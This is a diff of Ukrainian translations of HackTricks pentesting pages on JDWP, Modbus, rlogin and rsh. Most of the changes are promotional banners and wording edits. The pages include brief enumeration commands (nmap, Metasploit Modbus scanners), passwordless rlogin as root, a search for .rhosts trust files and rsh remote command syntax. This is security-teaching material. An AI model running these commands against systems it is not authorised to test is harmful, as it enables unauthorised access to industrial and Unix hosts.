||||
6. **Наслідки для безпеки**:
|
||||
- Наявність відкритих служб JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, вимкнення функцій відлагодження в продакшені та належної конфігурації брандмауера.
|
||||
- Незважаючи на потенційні захисти брандмауера, сервіси JDWP можна виявити та експлуатувати в реальних сценаріях, як показано в пошуках на платформах, таких як ShodanHQ та GitHub.
|
||||
- Скрипт експлойту був протестований на різних версіях JDK і є незалежним від платформи, пропонуючи надійне віддалене виконання коду (RCE).
|
||||
|
||||
6. **Безпекові наслідки**:
|
||||
- Наявність відкритих сервісів JDWP в Інтернеті підкреслює необхідність регулярних перевірок безпеки, відключення функцій налагодження в продуктивному середовищі та належної конфігурації брандмауера.
|
||||
|
||||
### **Посилання:**
|
||||
|
||||
|
@ -71,16 +70,17 @@
|
|||
* [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
* [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,43 +1,45 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Основна інформація
|
||||
|
||||
У 1979 році був розроблений **Протокол Modbus** компанією Modicon, який служить як структура обміну повідомленнями. Його основне використання полягає в полегшенні комунікації між інтелектуальними пристроями, які працюють за моделлю майстер-раб/клієнт-сервер. Цей протокол відіграє важливу роль у забезпеченні обміну даними між пристроями ефективно.
|
||||
У 1979 році **Modbus Protocol** був розроблений компанією Modicon як структура обміну повідомленнями. Його основне використання полягає в полегшенні комунікації між інтелектуальними пристроями, які працюють за моделлю майстер-раб/клієнт-сервер. Цей протокол відіграє важливу роль у забезпеченні ефективного обміну даними між пристроями.
|
||||
|
||||
**Порт за замовчуванням:** 502
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
502/tcp open modbus
|
||||
```
|
||||
# Перелік
|
||||
# Перерахування
|
||||
```bash
|
||||
nmap --script modbus-discover -p 502 <IP>
|
||||
msf> use auxiliary/scanner/scada/modbusdetect
|
||||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакінг-трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,28 @@
|
|||
# 513 - Втручання в Rlogin
|
||||
# 513 - Pentesting Rlogin
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Основна інформація
|
||||
|
||||
У минулому **rlogin** широко використовувався для віддалених адміністративних завдань. Однак через проблеми з безпекою він в основному був замінений на **slogin** та **ssh**. Ці нові методи забезпечують покращену безпеку для віддалених підключень.
|
||||
У минулому **rlogin** широко використовувався для віддаленого адміністрування. Однак через занепокоєння щодо його безпеки він в основному був замінений **slogin** та **ssh**. Ці нові методи забезпечують підвищену безпеку для віддалених з'єднань.
|
||||
|
||||
**Порт за замовчуванням:** 513
|
||||
```
|
||||
|
@ -28,7 +34,7 @@ PORT STATE SERVICE
|
|||
# Install client
|
||||
apt-get install rsh-client
|
||||
```
|
||||
Ви можете використати наступну команду, щоб спробувати **увійти** на віддалений хост, де для доступу **не потрібен пароль**. Спробуйте використати **root** як ім'я користувача:
|
||||
Ви можете використовувати наступну команду, щоб спробувати **ввійти** на віддалений хост, де **не потрібен пароль** для доступу. Спробуйте використовувати **root** як ім'я користувача:
|
||||
```bash
|
||||
rlogin <IP> -l <username>
|
||||
```
|
||||
|
@ -38,16 +44,22 @@ rlogin <IP> -l <username>
|
|||
```
|
||||
find / -name .rhosts
|
||||
```
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 514 - Тестування на проникнення Rsh
|
||||
# 514 - Pentesting Rsh
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Для аутентифікації **.rhosts** файли разом з **/etc/hosts.equiv** використовувалися **Rsh**. Аутентифікація залежала від IP-адрес та системи доменних імен (DNS). Легкість підробки IP-адрес, особливо в локальній мережі, була значною вразливістю.
|
||||
Для аутентифікації використовувалися файли **.rhosts** разом з **/etc/hosts.equiv**. Аутентифікація залежала від IP-адрес і системи доменних імен (DNS). Легкість підробки IP-адрес, особливо в локальній мережі, була значною вразливістю.
|
||||
|
||||
Більше того, часто **.rhosts** файли розміщувалися в домашніх каталогах користувачів, які часто знаходилися на обсягах мережевої файлової системи (NFS).
|
||||
Крім того, було звично, що файли **.rhosts** розміщувалися в домашніх каталогах користувачів, які часто знаходилися на томах мережевої файлової системи (NFS).
|
||||
|
||||
**Порт за замовчуванням**: 514
|
||||
|
||||
|
@ -34,16 +35,17 @@ rsh domain\\user@<IP> <Command>
|
|||
## References
|
||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue